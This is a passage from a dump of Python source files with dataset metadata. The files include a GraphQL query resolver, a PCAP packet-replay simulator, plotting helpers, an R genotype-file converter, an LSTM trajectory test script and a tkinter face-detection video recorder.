info dict, used to hold the SQLA session\n :return: A SQLAlchemy query based on the mapped class,\n session.query(ModelClass)\n \"\"\"\n session = info.context\n mapper = get_mapper(self.table)\n return session.query(mapper.class_)\n\n\nclass SingleResolver(QueryResolver):\n \"\"\"\n A subclass of :class:`QueryResolver`. Takes an id and queries for\n the instance specified by id.\n \"\"\"\n\n def post_resolve(\n self,\n resolved_value: t.Any,\n parent: t.Any,\n info: t.Any,\n *args: t.Any,\n **kwargs: t.Any,\n ) -> t.Any:\n return resolved_value if resolved_value else {\"result\": resolved_value}\n\n def retrieve_value(\n self, parent: t.Any, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Retrieves the row in the table that matches the id in the args,\n if such a row exists\n :param parent: gql parent. The value returned by the\n parent resolver. See GraphQL docs for more info\n :param info: GraphQL info dictionary, see GraphQL docs for more\n info\n :return: the value that will be operated on and returned to GraphQL,\n in this case the row with id matching the requested id\n \"\"\"\n query = self.generate_query(info)\n return query.filter_by(id=kwargs[\"id\"]).one_or_none()\n\n\nclass ManyResolver(QueryResolver):\n \"\"\"\n A subclass of :class:`QueryResolver`. By default queries for all\n instances of the table that it is associated with. Can be filtered and\n sorted with keyword args.\n \"\"\"\n\n def get_count(self, q: t.Any) -> t.Any:\n count_func = func.count()\n count_q = (\n q.options(lazyload(\"*\"))\n .statement.with_only_columns([count_func])\n .order_by(None)\n )\n return q.session.execute(count_q).scalar()\n\n def generate_subqueryloads(\n self, field_node: t.Any, load_path: t.Optional[t.Any] = None\n ) -> t.List[t.Any]:\n \"\"\"\n A helper function that allows the generation of the top level\n query to only have to perform one query with subqueryloads to\n eager load the data that will be accessed due to the structure\n of the query. Recursively builds a list of subquery loads\n that are applied to the base query.\n :param field_node: The document ast node that is used to determine\n what relationships are accessed by the query\n :param load_path: The load path that should be appended to\n in order to build the correct subquery\n :return: A list of all subqueries needed to eagerly load\n all data accessed as a result of the query\n \"\"\"\n options: t.List[t.Any] = []\n\n # A node is a lead if all of its children are scalars\n for selection in field_node.selection_set.selections:\n # selections with no sub selection_sets are scalars\n if selection.selection_set is None:\n continue\n field_name = js_underscore(selection.name.value)\n\n if field_name not in get_mapper(self.table).relationships:\n continue\n\n if load_path is None:\n extended_load_path = subqueryload(field_name)\n else:\n extended_load_path = load_path.subqueryload(field_name)\n options = options + self.generate_subqueryloads(\n selection, extended_load_path\n )\n\n # if all children are leaves then this is the last node,\n if len(options) == 0:\n return [load_path] if load_path is not None else []\n return options\n\n def generate_query(self, info: t.Any) -> t.Any:\n \"\"\"\n Generates a query based on the document ast\n :param info: GraphQL info dict.\n :return: A SQLAlchemy query with any needed subquery loads\n appended\n \"\"\"\n field_name = info.field_name\n field_node = [\n selection\n for selection in info.operation.selection_set.selections\n if selection.name.value == field_name\n ]\n if len(field_node) != 1:\n logging.getLogger(__name__).warning(\n f\"Duplicate queries defined for {field_name!r}.\"\n )\n options = self.generate_subqueryloads(field_node[0])\n query = QueryResolver.generate_query(self, info).distinct()\n for option in options:\n query = query.options(option)\n\n return query\n\n def retrieve_value(\n self, parent: None, info: t.Any, *args: t.Any, **kwargs: t.Any\n ) -> t.Any:\n \"\"\"\n Returns all rows in a table. Uses subquery loads to improve\n querying by loading each relationship based on the query request\n :param parent: parent object required by GraphQL, always None because\n mutations are always top level.\n :param info:\n :param args: Not used but left in so that it can be used if a\n method is overriden\n :param kwargs: Holds the filters and sorts that can be used\n :return: A list of all rows in the table that match the\n filter, sorted by the given sort parameter.\n \"\"\"\n query = self.generate_query(info)\n\n filters = generate_filters(self.table, info, **kwargs)\n for filter_ in filters:\n query = query.filter(filter_)\n sorts = generate_sorts(self.table, info, **kwargs)\n for sort in sorts:\n query = query.order_by(sort)\n\n paginated = False\n\n if info.variable_values.get(\"page\") is not None:\n paginated = True\n current = info.variable_values.get(\"page\").get(\"current\")\n per_page = info.variable_values.get(\"page\").get(\"per_page\")\n if current is None or current < 1:\n current = 1\n if per_page is None or per_page < 1:\n per_page = 10\n\n info.context.info[\"count\"] = self.get_count(query)\n\n if paginated:\n offset = (current - 1) * per_page\n return query.distinct().limit(per_page).offset(offset).all()\n\n return query.all()\n","sub_path":"src/magql/resolver_factory.py","file_name":"resolver_factory.py","file_ext":"py","file_size_in_byte":27551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"216630538","text":"import dpkt\nimport time\nimport uuid\nimport shutil\nimport os\n\nfrom threading import Thread\n\ntry:\n import dnet as DNET\nexcept ImportError:\n import dumbnet as DNET\n\n\nclass SimPCAP(Thread):\n def __init__(self, pcap_buff, loop, fast):\n Thread.__init__(self)\n self.status = 0\n self.terminate = False\n\n self.loop = loop\n self.fast = fast\n \n #Generate a name for the PCAP\n self.pcap_name = os.getcwd() + '/' \\\n + str(uuid.uuid4()) + '.pcap'\n\n #Write PCAP buffer to disk\n pcap_buff.seek(0)\n with open(self.pcap_name, 'wb') as pcap_out:\n shutil.copyfileobj(pcap_buff, pcap_out)\n\n def run(self):\n socket = DNET.ip() \n while(True):\n pcap = file(self.pcap_name, \"rb\")\n pts = 0;\n try:\n for ts, pkt in dpkt.pcap.Reader(pcap):\n\n if (self.terminate):\n break\n\n frame = dpkt.ethernet.Ethernet(pkt)\n if (frame.type != dpkt.ethernet.ETH_TYPE_IP): \n continue\n\n iph = frame.data \n \n #Flag packet for simulation injection\n iph.ttl = 0\n\n buff = DNET.ip_checksum(str(iph))\n\n if (pts != 0 and not self.fast):\n # In event terminate set while asleep\n if (self.terminate):\n break\n time.sleep(ts - pts)\n\n socket.send(buff)\n pts = ts\n\n except ValueError:\n self.status = 1\n try:\n os.remove(self.pcap_name)\n except OSError:\n pass\n\n pcap.close() \n if(not(self.loop) or self.terminate):\n try:\n os.remove(self.pcap_name)\n except OSError:\n pass\n break\n\n def stop(self):\n self.terminate = True\n\n\n","sub_path":"web_server/simpcap.py","file_name":"simpcap.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"96003255","text":"class Job(object):\n\t# Init the job record\n\t# _jogTitle: string, _jobDescription: string, _salary: string\n\t# _companyName: string, _dataSource: string\n\tdef __init__(self,_jobTitle,_jobDescription,_salary,_companyName,_dataSource):\n\t\tself.jobTitle = _jobTitle\n\t\tself.jobDescription = _jobDescription\n\t\tself.salary = _salary\n\t\tself.companyName = _companyName\n\t\tself.dataSource = _dataSource\n\n\n\t# Convert to json object\n\t# jobObject: dictionary \n\tdef toJson(self):\n\t\tjobObject = dict()\n\t\tjobObject[\"jobTitle\"] = self.jobTitle\n\t\tjobObject[\"jobDescription\"] = self.jobDescription\n\t\tjobObject[\"salary\"] = self.salary\n\t\tjobObject[\"companyName\"] = self.companyName\n\t\tjobObject[\"dataSource\"] = self.dataSource\n\t\treturn(jobObject)\n\n\t# for debug\n\tdef getDescription(self):\n\t\tprint(self.jobDescription)","sub_path":"bossZhipinSample/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"574658427","text":"__author__ = 'Sergei F. Kliver'\nimport os\nimport matplotlib\nmatplotlib.use('Agg')\nos.environ['MPLCONFIGDIR'] = '/tmp/'\nimport matplotlib.pyplot as plt\nplt.ioff()\nfrom matplotlib.transforms import Bbox, TransformedBbox, blended_transform_factory\nfrom mpl_toolkits.axes_grid1.inset_locator import BboxPatch, BboxConnector, BboxConnectorPatch\nfrom matplotlib.lines import Line2D\n\nimport numpy as np\n\n\nclass MatplotlibRoutines:\n def __init__(self):\n pass\n\n @staticmethod\n def connect_bbox(bbox1, bbox2,\n loc1a, loc2a, loc1b, loc2b,\n prop_lines, prop_patches=None):\n if prop_patches is None:\n prop_patches = prop_lines.copy()\n prop_patches[\"alpha\"] = prop_patches.get(\"alpha\", 1)*0.2\n\n c1 = BboxConnector(bbox1, bbox2, loc1=loc1a, loc2=loc2a, **prop_lines)\n c1.set_clip_on(False)\n c2 = BboxConnector(bbox1, bbox2, loc1=loc1b, loc2=loc2b, **prop_lines)\n c2.set_clip_on(False)\n\n bbox_patch1 = BboxPatch(bbox1, **prop_patches)\n bbox_patch2 = BboxPatch(bbox2, **prop_patches)\n\n p = BboxConnectorPatch(bbox1, bbox2,\n loc1a=loc1a, loc2a=loc2a, loc1b=loc1b, loc2b=loc2b,\n **prop_patches)\n p.set_clip_on(False)\n\n return c1, c2, bbox_patch1, bbox_patch2, p\n\n def zoom_effect(self, ax1, ax2, xmin, xmax, alpha=0.22, color=\"gray\", **kwargs):\n \"\"\"\n ax1 : the main axes\n ax2 : the zoomed axes\n (xmin,xmax) : the limits of the colored area in both plot axes.\n\n connect ax1 & ax2. The x-range of (xmin, xmax) in both axes will\n be marked. The keywords parameters will be used ti create\n patches.\n\n \"\"\"\n\n trans1 = blended_transform_factory(ax1.transData, ax1.transAxes)\n trans2 = blended_transform_factory(ax2.transData, ax2.transAxes)\n\n bbox = Bbox.from_extents(xmin, 0, xmax, 1)\n\n mybbox1 = TransformedBbox(bbox, trans1)\n mybbox2 = TransformedBbox(bbox, trans2)\n\n prop_patches = kwargs.copy()\n prop_patches[\"ec\"] = \"none\"\n prop_patches[\"alpha\"] = alpha\n prop_patches[\"color\"] = color\n\n c1, c2, bbox_patch1, bbox_patch2, p = self.connect_bbox(mybbox1, mybbox2,\n loc1a=3, loc2a=2, loc1b=4, loc2b=1,\n prop_lines=kwargs, prop_patches=prop_patches)\n\n ax1.add_patch(bbox_patch1)\n ax2.add_patch(bbox_patch2)\n ax2.add_patch(c1)\n ax2.add_patch(c2)\n ax2.add_patch(p)\n\n return c1, c2, bbox_patch1, bbox_patch2, p\n\n @staticmethod\n def percent_histogram(data, output_prefix, n_bins=20, title=\"\", xlabel=\"%\", ylabel=\"Number\",\n extensions=(\"jpg\", \"png\", \"svg\"), legend=None, legend_location=\"best\", input_mode=\"percent\"):\n\n\n\n figure = plt.figure()\n subplot = plt.subplot(1, 1, 1)\n\n plt.hist(data, bins=n_bins)\n if input_mode == \"percent\":\n plt.xlim(xmin=0, xmax=100)\n elif input_mode == \"fraction\":\n plt.xlim(xmin=0, xmax=1)\n else:\n raise ValueError(\"Unrecognized type of input data(neither percents nor fractions)\")\n plt.title(title)\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n if legend:\n plt.legend((legend,), loc=legend_location)\n for ext in extensions:\n plt.savefig(\"%s.%s\" % (output_prefix, ext))\n\n def percent_histogram_from_file(self, data_file, output_prefix, data_type=float, column_list=None, separator=None,\n comments=\"#\", n_bins=20, title=\"\", xlabel=\"%\", ylabel=\"Number\",\n extensions=(\"jpg\", \"png\", \"svg\"), legend=None, legend_location=\"best\",\n stats_as_legend=False, input_mode=\"percent\"):\n #print column_list\n data = np.loadtxt(data_file, dtype=data_type, comments=comments, delimiter=separator, usecols=column_list)\n if input_mode == \"percent\":\n n_bins = np.linspace(0, 100, n_bins+1)\n elif input_mode == \"fraction\":\n n_bins = np.linspace(0, 1.0, n_bins+1)\n else:\n raise ValueError(\"Unrecognized type of input data(neither percents nor fractions)\")\n legenda = \"Total: %i\\nMean: %.2f %%\\nMedian: %.2f %%\" if input_mode == \"percent\" else \"Total: %i\\nMean: %.2f\\nMedian: %.2f\"\n legenda = legenda % (len(data), np.mean(data), np.median(data)) if stats_as_legend else legend\n \n self.percent_histogram(data, output_prefix=output_prefix, n_bins=n_bins, title=title, xlabel=xlabel,\n ylabel=ylabel, extensions=extensions, legend=legenda, legend_location=legend_location,\n input_mode=input_mode)\n\n @staticmethod\n def add_line(axes, start, end, color):\n line = Line2D([start[0], end[0]], [start[1], end[1]], color=color)\n return axes.add_line(line)\n\n","sub_path":"KRATER/Routines/Matplotlib.py","file_name":"Matplotlib.py","file_ext":"py","file_size_in_byte":5071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"429234571","text":"from rpy2.robjects.packages import importr\r\nimport rpy2.robjects as robjects\r\nfrom rpy2.robjects.vectors import StrVector\r\nimport rpy2.rinterface as ri\r\n\r\nclass CravatConverter:\r\n def __init__(self):\r\n self.format_name = 'gds'\r\n\r\n def check_format(self, f):\r\n return f[len(f) - 4:] == '.gds'\r\n\r\n def setup(self, f):\r\n #R imports\r\n SeqArray = importr(\"SeqArray\")\r\n base = importr('base')\r\n\r\n #Open file f as a seq file\r\n file = SeqArray.seqOpen(f)\r\n\r\n #Pull all the sample IDs into memory\r\n sampleID = SeqArray.seqGetData(file, \"sample.id\")\r\n\r\n #Throw all the sample IDs into the R space\r\n robjects.r('sampleID = {sample}'.format(sample = sampleID.r_repr()))\r\n\r\n #create an output function in the R space (this will be responsible for returning all the information of a given variant as a matrix)\r\n robjects.r('''\r\n output <- function(data) {\r\n lines <- matrix(, nrow = 0, ncol = 6)\r\n chrom = data[[1]]\r\n pos = data[[2]]\r\n alleles <- c(strsplit(data[[3]][1], \",\")[[1]], \".\")\r\n genotype = data[[4]]\r\n \r\n internalWrite <- function(alt, hom_het, id) {\r\n lines <<- rbind(lines, c(chrom, pos, alleles[1], alt, hom_het, id))\r\n }\r\n \r\n genotype[is.na(genotype)] = length(alleles) - 1\r\n \r\n for (col in 1:ncol(genotype)) {\r\n num1 = genotype[1, col] + 1\r\n num2 = genotype[2, col] + 1\r\n id = sampleID[col]\r\n \r\n if (num1 == 1 & num2 == 1) {\r\n #nothing to print\r\n }\r\n else if (num1 != 1 & num2 == 1) {\r\n internalWrite(alleles[num1], \"het\", id)\r\n }\r\n else if (num1 == 1 & num2 != 1) {\r\n internalWrite(alleles[num2], \"het\", id)\r\n }\r\n else if (num1 == num2) {\r\n internalWrite(alleles[num1], \"hom\", id)\r\n }\r\n else {\r\n internalWrite(alleles[num1], \"het\", id)\r\n internalWrite(alleles[num2], \"het\", id)\r\n }\r\n }\r\n return(lines)\r\n }\r\n ''')\r\n\r\n #get the output function from the R space and put it in the python space\r\n output = robjects.globalenv['output']\r\n\r\n #This is a function who's purpose is to wrap the output function. Using this we can output variants line by line \r\n @ri.rternalize\r\n def printWithStops(data):\r\n lines = output(data)\r\n rows = len(lines) // 6\r\n for line in range(rows):\r\n input(\"...\")\r\n print(lines[line] + \" \" + lines[line + rows] + \" \" + lines[line + (2* rows)] + \" \" + lines[line + (3* rows)] + \" \" + lines[line + (4* rows)] + \" \" + lines[line + (5* rows)])\r\n\r\n\r\n #Apply function by variant \r\n SeqArray.seqApply(file, StrVector([\"position\", \"position\", \"allele\", \"genotype\"]), FUN= printWithStops, margin=\"by.variant\")\r\n\r\n #Close any opened files\r\n SeqArray.seqClose(file)\r\n\r\n def convert_line(self, l):\r\n pass\r\n","sub_path":"PyToRV4.py","file_name":"PyToRV4.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"217324041","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport argparse\nimport numpy as np\n\n# load the data\nlstm_data = np.load('lstm_test1_data.npy')[:,0,:]\ninitial_interactions = np.load('interactions_test1.npy')[:,0]\nnum_sequences, vec_len = lstm_data.shape\nseq_len = 50\noutput = np.zeros((num_sequences, seq_len, 46))\noutput[:,0] = lstm_data[:,:46]\n\n# Parse command line arguments\nargparser = argparse.ArgumentParser()\nargparser.add_argument('--seq_len', type=int, default=1)\nargparser.add_argument('--chunk_len', type=int, default=49)\nargparser.add_argument('--batch_size', type=int, default=1)\nargparser.add_argument('--shuffle', action='store_true')\nargparser.add_argument('--cuda', action='store_true')\nargs = argparser.parse_args()\n\nif args.cuda:\n\tprint(\"Using CUDA\")\n\n\ndef initialize(start, batch_size):\n\tlstm_inp = torch.from_numpy(lstm_data[start:start+batch_size])\n\t# target = torch.from_numpy(lstm_data[start:start+batch_size,1:,:46])\n\tlstm_inp = Variable(lstm_inp)\n\t# target = Variable(target)\n\tinteraction = initial_interactions[start]\n\tif args.cuda:\n\t\tlstm_inp = lstm_inp.cuda()\n\treturn lstm_inp, interaction\n\n\ndef test(seq_num, lstm_inp, interaction):\n\tlstm_model.eval()\n\tfcn_model.eval()\n\thidden = lstm_model.init_hidden(args.batch_size)\n\tif args.cuda:\n\t\tc, h = hidden\n\t\tc = c.cuda()\n\t\th = h.cuda()\n\t\thidden = (c,h)\n\t# lstm_loss = 0\n\t# fcn_t_loss = 0\n\tprev_prev_out = lstm_inp\n\tprev_out = lstm_inp\n\tball_dist = lstm_inp[:,46:]\n\tflag = 1 if interaction > 0 else 0\n\tcontext = 10 / 34\n\n\tfor c in range(args.chunk_len):\n\t\tif flag == 1:\n\t\t\tfcn_data = torch.zeros([44])\n\t\t\tvel = prev_out[0,:46] - prev_prev_out[0,:46]\n\t\t\tposition_x = prev_out[0,:46:2]\n\t\t\tposition_y = prev_out[0,1:46:2]\n\t\t\tball_dist_x = ball_dist[0,::2]\n\t\t\tball_dist_y = ball_dist[0,1::2]\n\t\t\tvel_x = vel[::2]\n\t\t\tvel_y = vel[1::2]\n\t\t\tplayer_indices = torch.arange(22)\n\t\t\tdistances = torch.sqrt(ball_dist_x**2 + ball_dist_y**2)\n\t\t\tmask = (torch.abs(ball_dist_x) < context) * (torch.abs(ball_dist_y) < context)\n\t\t\tinsta_ball_dist = distances[mask]\n\t\t\tinsta_indices = np.argsort(insta_ball_dist.cpu().detach().numpy())\n\t\t\tinsta_player_indices = player_indices[mask][insta_indices]\n\t\t\tprediction_index = insta_player_indices[0]\n\t\t\tinsta_pos_x = position_x[:-1][mask][insta_indices]\n\t\t\tinsta_pos_y = position_y[:-1][mask][insta_indices]\n\t\t\tinsta_ball_x = ball_dist_x[mask][insta_indices]\n\t\t\tinsta_ball_y = ball_dist_y[mask][insta_indices]\n\t\t\tinsta_velocity_x = vel_x[:-1][mask][insta_indices]\n\t\t\tinsta_velocity_y = vel_y[:-1][mask][insta_indices]\n\t\t\tfcn_data[0] = prev_out[0,44]\n\t\t\tfcn_data[1] = prev_out[0,45]\n\t\t\tfcn_data[2] = vel_x[-1]\n\t\t\tfcn_data[3] = vel_y[-1]\n\t\t\tfcn_data[4] = insta_pos_x[0]\n\t\t\tfcn_data[5] = insta_pos_y[0]\n\t\t\tfcn_data[6] = insta_velocity_x[0]\n\t\t\tfcn_data[7] = insta_velocity_y[0]\n\t\t\tfcn_data[8] = -1 if insta_player_indices[0] <= 10 else 1\n\t\t\tc = 1\n\t\t\te = 9\n\t\t\tfor d in range(1,len(insta_indices)):\n\t\t\t\tfcn_data[e] = insta_pos_x[d]\n\t\t\t\tfcn_data[e+1] = insta_pos_y[d]\n\t\t\t\tfcn_data[e+2] = insta_ball_x[d]\n\t\t\t\tfcn_data[e+3] = insta_ball_y[d]\n\t\t\t\tfcn_data[e+4] = insta_velocity_x[d]\n\t\t\t\tfcn_data[e+5] = insta_velocity_y[d]\n\t\t\t\tfcn_data[e+6] = -1 if insta_player_indices[d] <= 10 else 1\n\t\t\t\te += 7\n\t\t\t\tc += 1\n\t\t\t\tif c == 6:\n\t\t\t\t\tbreak\n\n\t\t\tif args.cuda:\n\t\t\t\tprev_out = prev_out.cuda()\n\t\t\tlstm_output, hidden = lstm_model(prev_out, hidden)\n\t\t\t# int_lstm_output = torch.cat([lstm_output[:,:2*prediction_index],lstm_output[:,2*prediction_index+2:-2]], 1)\n\t\t\t# int_target = torch.cat([target[:,c,:2*prediction_index],target[:,c,2*prediction_index+2:-2]], 1)\n\t\t\t# lstm_loss += criterion(int_lstm_output.view(args.batch_size, -1), int_target)\n\n\t\t\tif args.cuda:\n\t\t\t\tfcn_data = fcn_data.cuda()\n\t\t\tfcn_output = fcn_model(fcn_data)\n\t\t\t# fcn_target = torch.cat([target[0,c,-2:],target[0,c,2*prediction_index:2*prediction_index+2]])\n\t\t\t# lstm_op = torch.cat([lstm_output[0,-2:],lstm_output[0,2*prediction_index:2*prediction_index+2]])\n\t\t\t# fcn_loss = criterion(fcn_output, fcn_target - lstm_op)\n\t\t\t# fcn_t_loss += fcn_loss\n\t\t\tlstm_output[0,2*prediction_index:2*prediction_index+2] += fcn_output[-2:]\n\t\t\tlstm_output[0,-2:] += fcn_output[:2]\n\t\telse:\n\t\t\tif args.cuda:\n\t\t\t\tprev_out = prev_out.cuda()\n\t\t\tlstm_output, hidden = lstm_model(prev_out, hidden)\n\t\t\t# lstm_loss += criterion(lstm_output.view(args.batch_size, -1), target[:,c,:])\n\t\toutput[seq_num,c+1,:] = lstm_output.cpu().detach().numpy()\n\t\tprev_prev_out = prev_out.cpu()\n\t\tprev_out = torch.zeros([1,90])\n\t\tprev_out[:,:46] = lstm_output\n\t\tball_dist = torch.zeros([1,44])\n\t\tball_dist[:,::2] = (prev_out[:,:46][:,:-2:2] - prev_out[0,:46][-2])\n\t\tball_dist[:,1::2] = (prev_out[:,:46][:,1:-2:2] - prev_out[0,:46][-1])\n\t\tprev_out[:,46:] = ball_dist\n\t\tflag = 1 if torch.sum((torch.abs(prev_out[0,46:][::2]) <= 0.001) * (torch.abs(prev_out[0,46:][1::2]) <= 0.001)) > 0 else 0\n\n\t# return lstm_loss, fcn_t_loss\n\n\nlstm_model = torch.load('lstm.pt')\nfcn_model = torch.load('fcn.pt')\n\ncriterion = nn.MSELoss()\n\nif args.cuda:\n\tlstm_model.cuda()\n\tfcn_model.cuda()\n\n\nprint(\"Testing...\")\n# total_lstm_loss, total_fcn_loss = 0, 0\nfor idx in range(num_sequences):\n\ttest(idx, *initialize(idx, args.batch_size))\n\t# total_lstm_loss += ll\n\t# total_fcn_loss += fl\n# print('testing loss [%.4f %.4f]' % (total_lstm_loss, total_fcn_loss))\nnp.save('test1_output_.npy', output)\n","sub_path":"py/test_.py","file_name":"test_.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"599499343","text":"\r\n# Mohammad Saber ; Nov 20th 2019\r\n\r\n# GUI for playing a video file (containing human face) and detecting face.\r\n\r\n# After detection, it saves the detected face as a video file.\r\n\r\n# Input data is a \"mp4\" or \"avi\" video file.\r\n\r\n\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nfrom tkinter import filedialog\r\nimport PIL.Image, PIL.ImageTk\r\nfrom shutil import copyfile\r\nimport time, os\r\nimport cv2\r\n\r\n\r\nclass videoGUI:\r\n\r\n def __init__(self, window, window_title):\r\n\r\n self.window = window\r\n self.window.title(window_title)\r\n\r\n self.pause = False # Parameter that controls pause button\r\n self.record_face_status = False # Parameter that controls face detection and cropping face\r\n\r\n # After it is called once, the show_frame method will be automatically called every delay (milliseconds)\r\n self.delay = 40 # ms [1000 ms / 25 frames = 40 ms / frame]\r\n\r\n self.cascPath = \"haarcascade_frontalface_default.xml\" # OpenCV face detector\r\n self.faceCascade = cv2.CascadeClassifier(self.cascPath)\r\n\r\n self.result_video = 'output.mp4' # filename to save output video file\r\n self.result_frame_size = (200, 200) # Final frame size to save video file\r\n\r\n # Define the codec and create VideoWriter object, 'avi' works fine with DIVX codec\r\n self.fourcc = cv2.VideoWriter_fourcc(*'DIVX')\r\n\r\n ##### GUI Design #####\r\n top_frame = Frame(self.window)\r\n top_frame.pack(side=TOP, pady=5)\r\n\r\n bottom_frame = Frame(self.window)\r\n bottom_frame.pack(side=BOTTOM, pady=5)\r\n\r\n # Create a canvas that can fit the above video source size\r\n self.canvas = Canvas(top_frame)\r\n self.canvas.pack()\r\n\r\n # Select Button\r\n self.btn_select=Button(bottom_frame, text=\"Select video file\", width=15, command=self.open_file)\r\n self.btn_select.grid(row=0, column=0)\r\n\r\n # Play Button\r\n self.btn_play=Button(bottom_frame, text=\"Play\", width=15, state=DISABLED, command=self.play_video)\r\n self.btn_play.grid(row=0, column=1)\r\n\r\n # Pause Button\r\n self.btn_pause=Button(bottom_frame, text=\"Pause\", width=15, state=DISABLED, command=self.pause_video)\r\n self.btn_pause.grid(row=0, column=2)\r\n\r\n # Face Detection Label\r\n self.lbl_face_detection = Label(bottom_frame, text=\"Face Detection :\", width=15, bg='pink')\r\n self.lbl_face_detection.grid(row=1, column=0)\r\n\r\n # Face Detection Record\r\n self.btn_record = Button(bottom_frame, text=\"Record\", width=15, state=DISABLED, command=self.start_record)\r\n self.btn_record.grid(row=1, column=1)\r\n\r\n # Face Detection Stop Recording\r\n self.btn_stop = Button(bottom_frame, text=\"Stop recording\", width=15, state=DISABLED, command=self.stop_record)\r\n self.btn_stop.grid(row=1, column=2)\r\n\r\n # Snapshot Button\r\n self.btn_snapshot=Button(bottom_frame, text=\"Snapshot\", width=15, state=DISABLED, command=self.snapshot)\r\n self.btn_snapshot.grid(row=2, column=1)\r\n\r\n # Status bar\r\n self.status = Label(bottom_frame, text='I am ready !', bd=1, relief=SUNKEN, anchor=W) # anchor is for text inside Label\r\n self.status.grid(row=3, columnspan= 3, sticky=E+W) # side is for Label location in Window\r\n\r\n self.window.mainloop()\r\n\r\n\r\n def open_file(self):\r\n\r\n self.pause = False\r\n\r\n self.filename = filedialog.askopenfilename(title=\"Select file\", filetypes=((\"MP4 files\", \"*.mp4\"),\r\n (\"AVI files\", \"*.avi\")))\r\n print(\"\\n Filename : \", self.filename, \"\\n\")\r\n\r\n # Open the video file\r\n self.cap = cv2.VideoCapture(self.filename)\r\n\r\n # Get video source width and height\r\n self.width = self.cap.get(cv2.CAP_PROP_FRAME_WIDTH)\r\n self.height = self.cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\r\n\r\n self.canvas.config(width = self.width, height = self.height)\r\n\r\n self.btn_play['state'] = NORMAL\r\n\r\n\r\n def get_frame(self): # get only one frame\r\n\r\n try:\r\n\r\n if self.cap.isOpened():\r\n ret, frame = self.cap.read()\r\n\r\n if ret:\r\n # Return a boolean success flag and the current frame (color map is BGR)\r\n return (ret, frame)\r\n else:\r\n return (ret, None)\r\n\r\n else:\r\n raise ValueError(\"Unable to open video file : \", self.filename)\r\n\r\n except:\r\n messagebox.showerror(title='Video file not found', message='Please select a video file.')\r\n\r\n\r\n def play_video(self):\r\n\r\n self.btn_pause['state'] = NORMAL\r\n self.btn_snapshot['state'] = NORMAL\r\n self.btn_record['state'] = NORMAL\r\n self.btn_stop['state'] = NORMAL\r\n\r\n # Get a frame from the video source, and go to the next frame automatically\r\n ret, frame = self.get_frame()\r\n\r\n if ret:\r\n self.photo = PIL.ImageTk.PhotoImage(image = PIL.Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))) # convert BGR into RGB color map\r\n self.canvas.create_image(0, 0, image = self.photo, anchor = NW)\r\n\r\n if self.record_face_status:\r\n self.record_face(frame)\r\n\r\n after_id = self.window.after(self.delay, self.play_video)\r\n\r\n if self.pause:\r\n self.window.after_cancel(after_id)\r\n self.pause = False\r\n\r\n\r\n def pause_video(self):\r\n self.pause = True\r\n # self.status['text'] = 'Video paused'\r\n # print('I am in pause function : ', self.pause)\r\n\r\n\r\n def snapshot(self):\r\n # Get a frame from the video source\r\n ret, frame = self.get_frame()\r\n if ret:\r\n cv2.imwrite(\"frame-\" + time.strftime(\"%d-%m-%Y-%H-%M-%S\") + \".png\", frame)\r\n\r\n\r\n def record_face(self, frame):\r\n\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n # Detect faces in the image\r\n faces = self.faceCascade.detectMultiScale(\r\n gray,\r\n scaleFactor=1.1,\r\n minNeighbors=5,\r\n minSize=(30, 30),\r\n )\r\n\r\n # Crop face\r\n for (x, y, w, h) in faces:\r\n face_frame = frame[max(0, int(y - 0.1 * h)): min(int(y + h + 0.1 * h), self.height),\r\n x:x + w]\r\n face_frame = cv2.resize(face_frame, self.result_frame_size)\r\n\r\n # write the face_frame\r\n self.out.write(face_frame)\r\n\r\n\r\n def start_record(self):\r\n self.record_face_status = True\r\n self.out = cv2.VideoWriter(self.result_video, self.fourcc, fps=25.0, frameSize=self.result_frame_size)\r\n self.status['text'] = 'Face is being detected'\r\n start_record_time_ms = self.cap.get(cv2.CAP_PROP_POS_MSEC) # ms\r\n self.start_record_time = time.strftime('%H:%M:%S', time.gmtime(start_record_time_ms//1000))\r\n print('Recording face started : ', start_record_time_ms, 'millisecond')\r\n print('Recording face started : ', self.start_record_time)\r\n\r\n\r\n def stop_record(self):\r\n self.record_face_status = False\r\n self.status['text'] = 'Face detection was stopped'\r\n end_record_time_ms = self.cap.get(cv2.CAP_PROP_POS_MSEC)\r\n self.end_record_time = time.strftime('%H:%M:%S', time.gmtime(end_record_time_ms//1000))\r\n print('Recording face stopped : ', end_record_time_ms, 'millisecond')\r\n print('Recording face stopped : ', self.end_record_time)\r\n\r\n self.out.release() # Release save video file\r\n\r\n new_filename = self.start_record_time + ' - ' + self.end_record_time + os.path.splitext(self.result_video)[-1]\r\n copyfile(self.result_video, new_filename.replace(':', ' '))\r\n\r\n\r\n # Release the video source when the object is destroyed\r\n def __del__(self):\r\n if self.cap.isOpened():\r\n self.cap.release()\r\n\r\n##### End Class #####\r\n\r\n\r\n# Create a window and pass it to GUI Class\r\nvideoGUI(Tk(), \"\")\r\n\r\n","sub_path":"face_gui_2.py","file_name":"face_gui_2.py","file_ext":"py","file_size_in_byte":8031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"267770019","text":"\"\"\"\n Configuration settings for running the o365getmail script.\n\n In productive system, ensure file can't be accessed by unpriviledged.\n\"\"\"\n\nimport os\n\nCWD = os.path.dirname(os.path.abspath(__file__))\n\n\nCLIENT_ID = ''\nCLIENT_SECRET = ''\n\n\nMAIL_PATH = os.path.join(CWD, 